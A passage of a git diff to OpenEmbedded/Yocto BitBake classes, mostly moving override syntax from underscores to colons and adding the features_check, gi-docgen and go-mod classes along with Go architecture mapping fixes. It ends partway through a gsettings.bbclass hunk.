--- /dev/null
+++ b/meta/classes/features_check.bbclass
@@ -0,0 +1,54 @@
+# Allow checking of required and conflicting features
+#
+# xxx = [DISTRO,MACHINE,COMBINED,IMAGE]
+#
+# ANY_OF_xxx_FEATURES: ensure at least one item on this list is included
+# in xxx_FEATURES.
+# REQUIRED_xxx_FEATURES: ensure every item on this list is included
+# in xxx_FEATURES.
+# CONFLICT_xxx_FEATURES: ensure no item in this list is included in
+# xxx_FEATURES.
+#
+# Copyright 2019 (C) Texas Instruments Inc.
+# Copyright 2013 (C) O.S. Systems Software LTDA.
+
+python () {
+ if d.getVar('PARSE_ALL_RECIPES', False):
+ return
+
+ unused = True
+
+ for kind in ['DISTRO', 'MACHINE', 'COMBINED', 'IMAGE']:
+ if d.getVar('ANY_OF_' + kind + '_FEATURES') is None and not d.hasOverrides('ANY_OF_' + kind + '_FEATURES') and \
+ d.getVar('REQUIRED_' + kind + '_FEATURES') is None and not d.hasOverrides('REQUIRED_' + kind + '_FEATURES') and \
+ d.getVar('CONFLICT_' + kind + '_FEATURES') is None and not d.hasOverrides('CONFLICT_' + kind + '_FEATURES'):
+ continue
+
+ unused = False
+
+ # Assume at least one var is set.
+ features = set((d.getVar(kind + '_FEATURES') or '').split())
+
+ any_of_features = set((d.getVar('ANY_OF_' + kind + '_FEATURES') or '').split())
+ if any_of_features:
+ if set.isdisjoint(any_of_features, features):
+ raise bb.parse.SkipRecipe("one of '%s' needs to be in %s_FEATURES"
+ % (' '.join(any_of_features), kind))
+
+ required_features = set((d.getVar('REQUIRED_' + kind + '_FEATURES') or '').split())
+ if required_features:
+ missing = set.difference(required_features, features)
+ if missing:
+ raise bb.parse.SkipRecipe("missing required %s feature%s '%s' (not in %s_FEATURES)"
+ % (kind.lower(), 's' if len(missing) > 1 else '', ' '.join(missing), kind))
+
+ conflict_features = set((d.getVar('CONFLICT_' + kind + '_FEATURES') or '').split())
+ if conflict_features:
+ conflicts = set.intersection(conflict_features, features)
+ if conflicts:
+ raise bb.parse.SkipRecipe("conflicting %s feature%s '%s' (in %s_FEATURES)"
+ % (kind.lower(), 's' if len(conflicts) > 1 else '', ' '.join(conflicts), kind))
+
+ if unused:
+ bb.warn("Recipe inherits features_check but doesn't use it")
+}
diff --git a/meta/classes/fontcache.bbclass b/meta/classes/fontcache.bbclass
index 13f9df1592..442bfc7392 100644
--- a/meta/classes/fontcache.bbclass
+++ b/meta/classes/fontcache.bbclass
@@ -7,7 +7,7 @@ PACKAGE_WRITE_DEPS += "qemu-native"
inherit qemu
FONT_PACKAGES ??= "${PN}"
-FONT_EXTRA_RDEPENDS ?= "fontconfig-utils"
+FONT_EXTRA_RDEPENDS ?= "${MLPREFIX}fontconfig-utils"
FONTCONFIG_CACHE_DIR ?= "${localstatedir}/cache/fontconfig"
FONTCONFIG_CACHE_PARAMS ?= "-v"
# You can change this to e.g. FC_DEBUG=16 to debug fc-cache issues,
@@ -20,7 +20,7 @@ if [ -n "$D" ] ; then
$INTERCEPT_DIR/postinst_intercept update_font_cache ${PKG} mlprefix=${MLPREFIX} binprefix=${MLPREFIX} \
'bindir="${bindir}"' \
'libdir="${libdir}"' \
- 'libexecdir="${libexecdir}"' \
+ 'libexecdir="${libexecdir}"' \
'base_libdir="${base_libdir}"' \
'fontconfigcachedir="${FONTCONFIG_CACHE_DIR}"' \
'fontconfigcacheparams="${FONTCONFIG_CACHE_PARAMS}"' \
@@ -35,23 +35,23 @@ python () {
deps = d.getVar("FONT_EXTRA_RDEPENDS")
for pkg in font_pkgs:
- if deps: d.appendVar('RDEPENDS_' + pkg, ' '+deps)
+ if deps: d.appendVar('RDEPENDS:' + pkg, ' '+deps)
}
python add_fontcache_postinsts() {
for pkg in d.getVar('FONT_PACKAGES').split():
bb.note("adding fonts postinst and postrm scripts to %s" % pkg)
- postinst = d.getVar('pkg_postinst_%s' % pkg) or d.getVar('pkg_postinst')
+ postinst = d.getVar('pkg_postinst:%s' % pkg) or d.getVar('pkg_postinst')
if not postinst:
postinst = '#!/bin/sh\n'
postinst += d.getVar('fontcache_common')
- d.setVar('pkg_postinst_%s' % pkg, postinst)
+ d.setVar('pkg_postinst:%s' % pkg, postinst)
- postrm = d.getVar('pkg_postrm_%s' % pkg) or d.getVar('pkg_postrm')
+ postrm = d.getVar('pkg_postrm:%s' % pkg) or d.getVar('pkg_postrm')
if not postrm:
postrm = '#!/bin/sh\n'
postrm += d.getVar('fontcache_common')
- d.setVar('pkg_postrm_%s' % pkg, postrm)
+ d.setVar('pkg_postrm:%s' % pkg, postrm)
}
PACKAGEFUNCS =+ "add_fontcache_postinsts"
diff --git a/meta/classes/gconf.bbclass b/meta/classes/gconf.bbclass
index 3e3c509d5f..9d3668edd3 100644
--- a/meta/classes/gconf.bbclass
+++ b/meta/classes/gconf.bbclass
@@ -41,7 +41,7 @@ for SCHEMA in ${SCHEMA_FILES}; do
done
}
-python populate_packages_append () {
+python populate_packages:append () {
import re
packages = d.getVar('PACKAGES').split()
pkgdest = d.getVar('PKGDEST')
@@ -57,15 +57,15 @@ python populate_packages_append () {
if schemas != []:
bb.note("adding gconf postinst and prerm scripts to %s" % pkg)
d.setVar('SCHEMA_FILES', " ".join(schemas))
- postinst = d.getVar('pkg_postinst_%s' % pkg)
+ postinst = d.getVar('pkg_postinst:%s' % pkg)
if not postinst:
postinst = '#!/bin/sh\n'
postinst += d.getVar('gconf_postinst')
- d.setVar('pkg_postinst_%s' % pkg, postinst)
- prerm = d.getVar('pkg_prerm_%s' % pkg)
+ d.setVar('pkg_postinst:%s' % pkg, postinst)
+ prerm = d.getVar('pkg_prerm:%s' % pkg)
if not prerm:
prerm = '#!/bin/sh\n'
prerm += d.getVar('gconf_prerm')
- d.setVar('pkg_prerm_%s' % pkg, prerm)
- d.appendVar("RDEPENDS_%s" % pkg, ' ' + d.getVar('MLPREFIX', False) + 'gconf')
+ d.setVar('pkg_prerm:%s' % pkg, prerm)
+ d.appendVar("RDEPENDS:%s" % pkg, ' ' + d.getVar('MLPREFIX', False) + 'gconf')
}
diff --git a/meta/classes/gettext.bbclass b/meta/classes/gettext.bbclass
index be2ef3b311..f11cb04456 100644
--- a/meta/classes/gettext.bbclass
+++ b/meta/classes/gettext.bbclass
@@ -13,10 +13,10 @@ def gettext_oeconf(d):
return '--disable-nls'
return "--enable-nls"
-BASEDEPENDS_append = " ${@gettext_dependencies(d)}"
-EXTRA_OECONF_append = " ${@gettext_oeconf(d)}"
+BASEDEPENDS:append = " ${@gettext_dependencies(d)}"
+EXTRA_OECONF:append = " ${@gettext_oeconf(d)}"
# Without this, msgfmt from gettext-native will not find ITS files
# provided by target recipes (for example, polkit.its).
-GETTEXTDATADIRS_append_class-target = ":${STAGING_DATADIR}/gettext"
+GETTEXTDATADIRS:append:class-target = ":${STAGING_DATADIR}/gettext"
export GETTEXTDATADIRS
diff --git a/meta/classes/gi-docgen.bbclass b/meta/classes/gi-docgen.bbclass
new file mode 100644
index 0000000000..15581ca127
--- /dev/null
+++ b/meta/classes/gi-docgen.bbclass
@@ -0,0 +1,24 @@
+# gi-docgen is a new gnome documentation generator, which
+# seems to be a successor to gtk-doc:
+# https://gitlab.gnome.org/GNOME/gi-docgen
+
+# This variable is set to True if api-documentation is in
+# DISTRO_FEATURES, and False otherwise.
+GIDOCGEN_ENABLED ?= "${@bb.utils.contains('DISTRO_FEATURES', 'api-documentation', 'True', 'False', d)}"
+# When building native recipes, disable gi-docgen, as it is not necessary,
+# pulls in additional dependencies, and makes build times longer
+GIDOCGEN_ENABLED:class-native = "False"
+GIDOCGEN_ENABLED:class-nativesdk = "False"
+
+# meson: default option name to enable/disable gi-docgen. This matches most
+# projects' configuration. In doubts - check meson_options.txt in project's
+# source path.
+GIDOCGEN_MESON_OPTION ?= 'gtk_doc'
+GIDOCGEN_MESON_ENABLE_FLAG ?= 'true'
+GIDOCGEN_MESON_DISABLE_FLAG ?= 'false'
+
+# Auto enable/disable based on GIDOCGEN_ENABLED
+EXTRA_OEMESON:prepend = "-D${GIDOCGEN_MESON_OPTION}=${@bb.utils.contains('GIDOCGEN_ENABLED', 'True', '${GIDOCGEN_MESON_ENABLE_FLAG}', '${GIDOCGEN_MESON_DISABLE_FLAG}', d)} "
+
+DEPENDS:append = "${@' gi-docgen-native gi-docgen' if d.getVar('GIDOCGEN_ENABLED') == 'True' else ''}"
+
diff --git a/meta/classes/gio-module-cache.bbclass b/meta/classes/gio-module-cache.bbclass
index e429bd3197..021eeb1cf8 100644
--- a/meta/classes/gio-module-cache.bbclass
+++ b/meta/classes/gio-module-cache.bbclass
@@ -17,22 +17,22 @@ else
fi
}
-python populate_packages_append () {
+python populate_packages:append () {
packages = d.getVar('GIO_MODULE_PACKAGES').split()
for pkg in packages:
bb.note("adding gio-module-cache postinst and postrm scripts to %s" % pkg)
- postinst = d.getVar('pkg_postinst_%s' % pkg)
+ postinst = d.getVar('pkg_postinst:%s' % pkg)
if not postinst:
postinst = '#!/bin/sh\n'
postinst += d.getVar('gio_module_cache_common')
- d.setVar('pkg_postinst_%s' % pkg, postinst)
+ d.setVar('pkg_postinst:%s' % pkg, postinst)
- postrm = d.getVar('pkg_postrm_%s' % pkg)
+ postrm = d.getVar('pkg_postrm:%s' % pkg)
if not postrm:
postrm = '#!/bin/sh\n'
postrm += d.getVar('gio_module_cache_common')
- d.setVar('pkg_postrm_%s' % pkg, postrm)
+ d.setVar('pkg_postrm:%s' % pkg, postrm)
}
diff --git a/meta/classes/glide.bbclass b/meta/classes/glide.bbclass
index db421745bd..2db4ac6846 100644
--- a/meta/classes/glide.bbclass
+++ b/meta/classes/glide.bbclass
@@ -2,8 +2,8 @@
#
# Copyright 2018 (C) O.S. Systems Software LTDA.
-DEPENDS_append = " glide-native"
+DEPENDS:append = " glide-native"
-do_compile_prepend() {
+do_compile:prepend() {
( cd ${B}/src/${GO_IMPORT} && glide install )
}
diff --git a/meta/classes/gnomebase.bbclass b/meta/classes/gnomebase.bbclass
index efcb6caae1..9a5bd9a232 100644
--- a/meta/classes/gnomebase.bbclass
+++ b/meta/classes/gnomebase.bbclass
@@ -1,12 +1,13 @@
def gnome_verdir(v):
- return oe.utils.trim_version(v, 2)
+ return ".".join(v.split(".")[:-1])
+
GNOME_COMPRESS_TYPE ?= "xz"
SECTION ?= "x11/gnome"
GNOMEBN ?= "${BPN}"
SRC_URI = "${GNOME_MIRROR}/${GNOMEBN}/${@gnome_verdir("${PV}")}/${GNOMEBN}-${PV}.tar.${GNOME_COMPRESS_TYPE};name=archive"
-FILES_${PN} += "${datadir}/application-registry \
+FILES:${PN} += "${datadir}/application-registry \
${datadir}/mime-info \
${datadir}/mime/packages \
${datadir}/mime/application \
@@ -18,12 +19,12 @@ FILES_${PN} += "${datadir}/application-registry \
${datadir}/icons \
"
-FILES_${PN}-doc += "${datadir}/devhelp"
+FILES:${PN}-doc += "${datadir}/devhelp"
GNOMEBASEBUILDCLASS ??= "autotools"
inherit ${GNOMEBASEBUILDCLASS} pkgconfig
-do_install_append() {
+do_install:append() {
rm -rf ${D}${localstatedir}/lib/scrollkeeper/*
rm -rf ${D}${localstatedir}/scrollkeeper/*
rm -f ${D}${datadir}/applications/*.cache
diff --git a/meta/classes/go-mod.bbclass b/meta/classes/go-mod.bbclass
new file mode 100644
index 0000000000..674d2434e0
--- /dev/null
+++ b/meta/classes/go-mod.bbclass
@@ -0,0 +1,20 @@
+# Handle Go Modules support
+#
+# When using Go Modules, the the current working directory MUST be at or below
+# the location of the 'go.mod' file when the go tool is used, and there is no
+# way to tell it to look elsewhere. It will automatically look upwards for the
+# file, but not downwards.
+#
+# To support this use case, we provide the `GO_WORKDIR` variable, which defaults
+# to `GO_IMPORT` but allows for easy override.
+#
+# Copyright 2020 (C) O.S. Systems Software LTDA.
+
+# The '-modcacherw' option ensures we have write access to the cached objects so
+# we avoid errors during clean task as well as when removing the TMPDIR.
+GOBUILDFLAGS:append = " -modcacherw"
+
+inherit go
+
+GO_WORKDIR ?= "${GO_IMPORT}"
+do_compile[dirs] += "${B}/src/${GO_WORKDIR}"
diff --git a/meta/classes/go-ptest.bbclass b/meta/classes/go-ptest.bbclass
index e230a80587..b282ff7374 100644
--- a/meta/classes/go-ptest.bbclass
+++ b/meta/classes/go-ptest.bbclass
@@ -50,5 +50,5 @@ do_install_ptest_base() {
chown -R root:root ${D}${PTEST_PATH}
}
-INSANE_SKIP_${PN}-ptest += "ldflags"
+INSANE_SKIP:${PN}-ptest += "ldflags"
diff --git a/meta/classes/go.bbclass b/meta/classes/go.bbclass
index e40e55689d..9c4c92bffd 100644
--- a/meta/classes/go.bbclass
+++ b/meta/classes/go.bbclass
@@ -2,8 +2,10 @@ inherit goarch
GO_PARALLEL_BUILD ?= "${@oe.utils.parallel_make_argument(d, '-p %d')}"
-GOROOT_class-native = "${STAGING_LIBDIR_NATIVE}/go"
-GOROOT_class-nativesdk = "${STAGING_DIR_TARGET}${libdir}/go"
+export GODEBUG = "gocachehash=1"
+
+GOROOT:class-native = "${STAGING_LIBDIR_NATIVE}/go"
+GOROOT:class-nativesdk = "${STAGING_DIR_TARGET}${libdir}/go"
GOROOT = "${STAGING_LIBDIR}/go"
export GOROOT
export GOROOT_FINAL = "${libdir}/go"
@@ -15,41 +17,43 @@ export GOHOSTARCH="${BUILD_GOARCH}"
export GOHOSTOS="${BUILD_GOOS}"
GOARM[export] = "0"
-GOARM_arm_class-target = "${TARGET_GOARM}"
-GOARM_arm_class-target[export] = "1"
+GOARM:arm:class-target = "${TARGET_GOARM}"
+GOARM:arm:class-target[export] = "1"
GO386[export] = "0"
-GO386_x86_class-target = "${TARGET_GO386}"
-GO386_x86_class-target[export] = "1"
+GO386:x86:class-target = "${TARGET_GO386}"
+GO386:x86:class-target[export] = "1"
GOMIPS[export] = "0"
-GOMIPS_mips_class-target = "${TARGET_GOMIPS}"
-GOMIPS_mips_class-target[export] = "1"
+GOMIPS:mips:class-target = "${TARGET_GOMIPS}"
+GOMIPS:mips:class-target[export] = "1"
-DEPENDS_GOLANG_class-target = "virtual/${TUNE_PKGARCH}-go virtual/${TARGET_PREFIX}go-runtime"
-DEPENDS_GOLANG_class-native = "go-native"
-DEPENDS_GOLANG_class-nativesdk = "virtual/${TARGET_PREFIX}go-crosssdk virtual/${TARGET_PREFIX}go-runtime"
+DEPENDS_GOLANG:class-target = "virtual/${TUNE_PKGARCH}-go virtual/${TARGET_PREFIX}go-runtime"
+DEPENDS_GOLANG:class-native = "go-native"
+DEPENDS_GOLANG:class-nativesdk = "virtual/${TARGET_PREFIX}go-crosssdk virtual/${TARGET_PREFIX}go-runtime"
-DEPENDS_append = " ${DEPENDS_GOLANG}"
+DEPENDS:append = " ${DEPENDS_GOLANG}"
GO_LINKSHARED ?= "${@'-linkshared' if d.getVar('GO_DYNLINK') else ''}"
GO_RPATH_LINK = "${@'-Wl,-rpath-link=${STAGING_DIR_TARGET}${libdir}/go/pkg/${TARGET_GOTUPLE}_dynlink' if d.getVar('GO_DYNLINK') else ''}"
GO_RPATH = "${@'-r ${libdir}/go/pkg/${TARGET_GOTUPLE}_dynlink' if d.getVar('GO_DYNLINK') else ''}"
-GO_RPATH_class-native = "${@'-r ${STAGING_LIBDIR_NATIVE}/go/pkg/${TARGET_GOTUPLE}_dynlink' if d.getVar('GO_DYNLINK') else ''}"
-GO_RPATH_LINK_class-native = "${@'-Wl,-rpath-link=${STAGING_LIBDIR_NATIVE}/go/pkg/${TARGET_GOTUPLE}_dynlink' if d.getVar('GO_DYNLINK') else ''}"
+GO_RPATH:class-native = "${@'-r ${STAGING_LIBDIR_NATIVE}/go/pkg/${TARGET_GOTUPLE}_dynlink' if d.getVar('GO_DYNLINK') else ''}"
+GO_RPATH_LINK:class-native = "${@'-Wl,-rpath-link=${STAGING_LIBDIR_NATIVE}/go/pkg/${TARGET_GOTUPLE}_dynlink' if d.getVar('GO_DYNLINK') else ''}"
GO_EXTLDFLAGS ?= "${HOST_CC_ARCH}${TOOLCHAIN_OPTIONS} ${GO_RPATH_LINK} ${LDFLAGS}"
GO_LINKMODE ?= ""
-GO_LINKMODE_class-nativesdk = "--linkmode=external"
-GO_LDFLAGS ?= '-ldflags="${GO_RPATH} ${GO_LINKMODE} -extldflags '${GO_EXTLDFLAGS}'"'
-export GOBUILDFLAGS ?= "-v ${GO_LDFLAGS}"
+GO_LINKMODE:class-nativesdk = "--linkmode=external"
+GO_LINKMODE:class-native = "--linkmode=external"
+GO_EXTRA_LDFLAGS ?= ""
+GO_LDFLAGS ?= '-ldflags="${GO_RPATH} ${GO_LINKMODE} ${GO_EXTRA_LDFLAGS} -extldflags '${GO_EXTLDFLAGS}'"'
+export GOBUILDFLAGS ?= "-v ${GO_LDFLAGS} -trimpath"
export GOPATH_OMIT_IN_ACTIONID ?= "1"
export GOPTESTBUILDFLAGS ?= "${GOBUILDFLAGS} -c"
export GOPTESTFLAGS ?= ""
-GOBUILDFLAGS_prepend_task-compile = "${GO_PARALLEL_BUILD} "
+GOBUILDFLAGS:prepend:task-compile = "${GO_PARALLEL_BUILD} "
export GO = "${HOST_PREFIX}go"
GOTOOLDIR = "${STAGING_LIBDIR_NATIVE}/${TARGET_SYS}/go/pkg/tool/${BUILD_GOTUPLE}"
-GOTOOLDIR_class-native = "${STAGING_LIBDIR_NATIVE}/go/pkg/tool/${BUILD_GOTUPLE}"
+GOTOOLDIR:class-native = "${STAGING_LIBDIR_NATIVE}/go/pkg/tool/${BUILD_GOTUPLE}"
export GOTOOLDIR
export CGO_ENABLED ?= "1"
@@ -63,7 +67,7 @@ GO_INSTALL_FILTEROUT ?= "${GO_IMPORT}/vendor/"
B = "${WORKDIR}/build"
export GOPATH = "${B}"
-export GOTMPDIR ?= "${WORKDIR}/go-tmp"
+export GOTMPDIR ?= "${WORKDIR}/build-tmp"
GOTMPDIR[vardepvalue] = ""
python go_do_unpack() {
@@ -114,7 +118,8 @@ go_do_install() {
install -d ${D}${libdir}/go/src/${GO_IMPORT}
tar -C ${S}/src/${GO_IMPORT} -cf - --exclude-vcs --exclude '*.test' --exclude 'testdata' . | \
tar -C ${D}${libdir}/go/src/${GO_IMPORT} --no-same-owner -xf -
- tar -C ${B} -cf - --exclude-vcs pkg | tar -C ${D}${libdir}/go --no-same-owner -xf -
+ tar -C ${B} -cf - --exclude-vcs --exclude '*.test' --exclude 'testdata' pkg | \
+ tar -C ${D}${libdir}/go --no-same-owner -xf -
if [ -n "`ls ${B}/${GO_BUILD_BINDIR}/`" ]; then
install -d ${D}${bindir}
@@ -138,17 +143,17 @@ go_stage_testdata() {
EXPORT_FUNCTIONS do_unpack do_configure do_compile do_install
-FILES_${PN}-dev = "${libdir}/go/src"
-FILES_${PN}-staticdev = "${libdir}/go/pkg"
+FILES:${PN}-dev = "${libdir}/go/src"
+FILES:${PN}-staticdev = "${libdir}/go/pkg"
-INSANE_SKIP_${PN} += "ldflags"
+INSANE_SKIP:${PN} += "ldflags"
# Add -buildmode=pie to GOBUILDFLAGS to satisfy "textrel" QA checking, but mips
-# doesn't support -buildmode=pie, so skip the QA checking for mips and its
+# doesn't support -buildmode=pie, so skip the QA checking for mips/rv32 and its
# variants.
python() {
- if 'mips' in d.getVar('TARGET_ARCH'):
- d.appendVar('INSANE_SKIP_%s' % d.getVar('PN'), " textrel")
+ if 'mips' in d.getVar('TARGET_ARCH') or 'riscv32' in d.getVar('TARGET_ARCH'):
+ d.appendVar('INSANE_SKIP:%s' % d.getVar('PN'), " textrel")
else:
d.appendVar('GOBUILDFLAGS', ' -buildmode=pie')
}
diff --git a/meta/classes/goarch.bbclass b/meta/classes/goarch.bbclass
index 166dea9dc6..92fec16b82 100644
--- a/meta/classes/goarch.bbclass
+++ b/meta/classes/goarch.bbclass
@@ -6,48 +6,54 @@ HOST_GOARCH = "${@go_map_arch(d.getVar('HOST_ARCH'), d)}"
HOST_GOARM = "${@go_map_arm(d.getVar('HOST_ARCH'), d)}"
HOST_GO386 = "${@go_map_386(d.getVar('HOST_ARCH'), d.getVar('TUNE_FEATURES'), d)}"
HOST_GOMIPS = "${@go_map_mips(d.getVar('HOST_ARCH'), d.getVar('TUNE_FEATURES'), d)}"
+HOST_GOARM:class-native = "7"
+HOST_GO386:class-native = "sse2"
+HOST_GOMIPS:class-native = "hardfloat"
HOST_GOTUPLE = "${HOST_GOOS}_${HOST_GOARCH}"
TARGET_GOOS = "${@go_map_os(d.getVar('TARGET_OS'), d)}"
TARGET_GOARCH = "${@go_map_arch(d.getVar('TARGET_ARCH'), d)}"
TARGET_GOARM = "${@go_map_arm(d.getVar('TARGET_ARCH'), d)}"
TARGET_GO386 = "${@go_map_386(d.getVar('TARGET_ARCH'), d.getVar('TUNE_FEATURES'), d)}"
TARGET_GOMIPS = "${@go_map_mips(d.getVar('TARGET_ARCH'), d.getVar('TUNE_FEATURES'), d)}"
+TARGET_GOARM:class-native = "7"
+TARGET_GO386:class-native = "sse2"
+TARGET_GOMIPS:class-native = "hardfloat"
TARGET_GOTUPLE = "${TARGET_GOOS}_${TARGET_GOARCH}"
GO_BUILD_BINDIR = "${@['bin/${HOST_GOTUPLE}','bin'][d.getVar('BUILD_GOTUPLE') == d.getVar('HOST_GOTUPLE')]}"
# Use the MACHINEOVERRIDES to map ARM CPU architecture passed to GO via GOARM.
# This is combined with *_ARCH to set HOST_GOARM and TARGET_GOARM.
BASE_GOARM = ''
-BASE_GOARM_armv7ve = '7'
-BASE_GOARM_armv7a = '7'
-BASE_GOARM_armv6 = '6'
-BASE_GOARM_armv5 = '5'
+BASE_GOARM:armv7ve = '7'
+BASE_GOARM:armv7a = '7'
+BASE_GOARM:armv6 = '6'
+BASE_GOARM:armv5 = '5'
# Go supports dynamic linking on a limited set of architectures.
# See the supportsDynlink function in go/src/cmd/compile/internal/gc/main.go
GO_DYNLINK = ""
-GO_DYNLINK_arm = "1"
-GO_DYNLINK_aarch64 = "1"
-GO_DYNLINK_x86 = "1"
-GO_DYNLINK_x86-64 = "1"
-GO_DYNLINK_powerpc64 = "1"
-GO_DYNLINK_class-native = ""
-GO_DYNLINK_class-nativesdk = ""
+GO_DYNLINK:arm ?= "1"
+GO_DYNLINK:aarch64 ?= "1"
+GO_DYNLINK:x86 ?= "1"
+GO_DYNLINK:x86-64 ?= "1"
+GO_DYNLINK:powerpc64 ?= "1"
+GO_DYNLINK:powerpc64le ?= "1"
+GO_DYNLINK:class-native ?= ""
+GO_DYNLINK:class-nativesdk = ""
# define here because everybody inherits this class
#
-COMPATIBLE_HOST_linux-gnux32 = "null"
-COMPATIBLE_HOST_linux-muslx32 = "null"
-COMPATIBLE_HOST_powerpc = "null"
-COMPATIBLE_HOST_powerpc64 = "null"
-COMPATIBLE_HOST_mipsarchn32 = "null"
+COMPATIBLE_HOST:linux-gnux32 = "null"
+COMPATIBLE_HOST:linux-muslx32 = "null"
+COMPATIBLE_HOST:powerpc = "null"
+COMPATIBLE_HOST:powerpc64 = "null"
+COMPATIBLE_HOST:mipsarchn32 = "null"
-ARM_INSTRUCTION_SET_armv4 = "arm"
-ARM_INSTRUCTION_SET_armv5 = "arm"
-ARM_INSTRUCTION_SET_armv6 = "arm"
+ARM_INSTRUCTION_SET:armv4 = "arm"
+ARM_INSTRUCTION_SET:armv5 = "arm"
+ARM_INSTRUCTION_SET:armv6 = "arm"
-TUNE_CCARGS_remove = "-march=mips32r2"
-SECURITY_CFLAGS_mipsarch = "${SECURITY_NOPIE_CFLAGS}"
+TUNE_CCARGS:remove = "-march=mips32r2"
SECURITY_NOPIE_CFLAGS ??= ""
# go can't be built with ccache:
@@ -72,10 +78,10 @@ def go_map_arch(a, d):
return 'mips'
elif a == 'mipsel':
return 'mipsle'
+ elif re.match('p(pc|owerpc)(64le)', a):
+ return 'ppc64le'
elif re.match('p(pc|owerpc)(64)', a):
return 'ppc64'
- elif re.match('p(pc|owerpc)(64el)', a):
- return 'ppc64le'
elif a == 'riscv64':
return 'riscv64'
else:
@@ -92,7 +98,7 @@ def go_map_386(a, f, d):
if ('core2' in f) or ('corei7' in f):
return 'sse2'
else:
- return '387'
+ return 'softfloat'
return ''
def go_map_mips(a, f, d):
@@ -108,5 +114,3 @@ def go_map_os(o, d):
if o.startswith('linux'):
return 'linux'
return o
-
-
diff --git a/meta/classes/gobject-introspection.bbclass b/meta/classes/gobject-introspection.bbclass
index 504f75e28d..7bf9feb0d6 100644
--- a/meta/classes/gobject-introspection.bbclass
+++ b/meta/classes/gobject-introspection.bbclass
@@ -14,30 +14,32 @@ GIR_MESON_OPTION ?= 'introspection'
GIR_MESON_ENABLE_FLAG ?= 'true'
GIR_MESON_DISABLE_FLAG ?= 'false'
+# Define g-i options such that they can be disabled completely when GIR_MESON_OPTION is empty
+GIRMESONTARGET = "-D${GIR_MESON_OPTION}=${@bb.utils.contains('GI_DATA_ENABLED', 'True', '${GIR_MESON_ENABLE_FLAG}', '${GIR_MESON_DISABLE_FLAG}', d)} "
+GIRMESONBUILD = "-D${GIR_MESON_OPTION}=${GIR_MESON_DISABLE_FLAG} "
# Auto enable/disable based on GI_DATA_ENABLED
-EXTRA_OECONF_prepend_class-target = "${@bb.utils.contains('GI_DATA_ENABLED', 'True', '--enable-introspection', '--disable-introspection', d)} "
-EXTRA_OEMESON_prepend_class-target = "-D${GIR_MESON_OPTION}=${@bb.utils.contains('GI_DATA_ENABLED', 'True', '${GIR_MESON_ENABLE_FLAG}', '${GIR_MESON_DISABLE_FLAG}', d)} "
-
+EXTRA_OECONF:prepend:class-target = "${@bb.utils.contains('GI_DATA_ENABLED', 'True', '--enable-introspection', '--disable-introspection', d)} "
+EXTRA_OEMESON:prepend:class-target = "${@['', '${GIRMESONTARGET}'][d.getVar('GIR_MESON_OPTION') != '']}"
# When building native recipes, disable introspection, as it is not necessary,
# pulls in additional dependencies, and makes build times longer
-EXTRA_OECONF_prepend_class-native = "--disable-introspection "
-EXTRA_OECONF_prepend_class-nativesdk = "--disable-introspection "
-EXTRA_OEMESON_prepend_class-native = "-D${GIR_MESON_OPTION}=${GIR_MESON_DISABLE_FLAG} "
-EXTRA_OEMESON_prepend_class-nativesdk = "-D${GIR_MESON_OPTION}=${GIR_MESON_DISABLE_FLAG} "
+EXTRA_OECONF:prepend:class-native = "--disable-introspection "
+EXTRA_OECONF:prepend:class-nativesdk = "--disable-introspection "
+EXTRA_OEMESON:prepend:class-native = "${@['', '${GIRMESONBUILD}'][d.getVar('GIR_MESON_OPTION') != '']}"
+EXTRA_OEMESON:prepend:class-nativesdk = "${@['', '${GIRMESONBUILD}'][d.getVar('GIR_MESON_OPTION') != '']}"
# Generating introspection data depends on a combination of native and target
# introspection tools, and qemu to run the target tools.
-DEPENDS_append_class-target = " gobject-introspection gobject-introspection-native qemu-native prelink-native"
+DEPENDS:append:class-target = " gobject-introspection gobject-introspection-native qemu-native"
# Even though introspection is disabled on -native, gobject-introspection package is still
# needed for m4 macros.
-DEPENDS_append_class-native = " gobject-introspection-native"
-DEPENDS_append_class-nativesdk = " gobject-introspection-native"
+DEPENDS:append:class-native = " gobject-introspection-native"
+DEPENDS:append:class-nativesdk = " gobject-introspection-native"
# This is used by introspection tools to find .gir includes
export XDG_DATA_DIRS = "${STAGING_DATADIR}:${STAGING_LIBDIR}"
-do_configure_prepend_class-target () {
+do_configure:prepend:class-target () {
# introspection.m4 pre-packaged with upstream tarballs does not yet
# have our fixes
mkdir -p ${S}/m4
@@ -46,8 +48,8 @@ do_configure_prepend_class-target () {
# .typelib files are needed at runtime and so they go to the main package (so
# they'll be together with libraries they support).
-FILES_${PN}_append = " ${libdir}/girepository-*/*.typelib"
+FILES:${PN}:append = " ${libdir}/girepository-*/*.typelib"
# .gir files go to dev package, as they're needed for developing (but not for
# running) things that depends on introspection.
-FILES_${PN}-dev_append = " ${datadir}/gir-*/*.gir ${libdir}/gir-*/*.gir"
+FILES:${PN}-dev:append = " ${datadir}/gir-*/*.gir ${libdir}/gir-*/*.gir"
diff --git a/meta/classes/godep.bbclass b/meta/classes/godep.bbclass
deleted file mode 100644
index c82401c313..0000000000
--- a/meta/classes/godep.bbclass
+++ /dev/null
@@ -1,8 +0,0 @@
-DEPENDS_append = " go-dep-native"
-
-do_compile_prepend() {
- rm -f ${WORKDIR}/build/src/${GO_IMPORT}/Gopkg.toml
- rm -f ${WORKDIR}/build/src/${GO_IMPORT}/Gopkg.lock
- ( cd ${WORKDIR}/build/src/${GO_IMPORT} && dep init && dep ensure )
-}
-
diff --git a/meta/classes/grub-efi-cfg.bbclass b/meta/classes/grub-efi-cfg.bbclass
index 8b5ff20c72..ea21b3de3d 100644
--- a/meta/classes/grub-efi-cfg.bbclass
+++ b/meta/classes/grub-efi-cfg.bbclass
@@ -88,6 +88,12 @@ python build_efi_cfg() {
for label in labels.split():
localdata = d.createCopy()
+ overrides = localdata.getVar('OVERRIDES')
+ if not overrides:
+ bb.fatal('OVERRIDES not defined')
+
+ localdata.setVar('OVERRIDES', 'grub_' + label + ':' + overrides)
+
for btype in btypes:
cfgfile.write('\nmenuentry \'%s%s\'{\n' % (label, btype[0]))
lb = label
@@ -114,3 +120,4 @@ python build_efi_cfg() {
cfgfile.close()
}
+build_efi_cfg[vardepsexclude] += "OVERRIDES"
diff --git a/meta/classes/gsettings.bbclass b/meta/classes/gsettings.bbclass
index 33afc96a9c..3fa5bd40b3 100644
--- a/meta/classes/gsettings.bbclass
+++ b/meta/classes/gsettings.bbclass
@@ -13,30 +13,30 @@ python __anonymous() {
pkg = d.getVar("GSETTINGS_PACKAGE")
if pkg:
d.appendVar("PACKAGE_WRITE_DEPS", " glib-2.0-native")
- d.appendVar("RDEPENDS_" + pkg, " ${MLPREFIX}glib-2.0-utils")
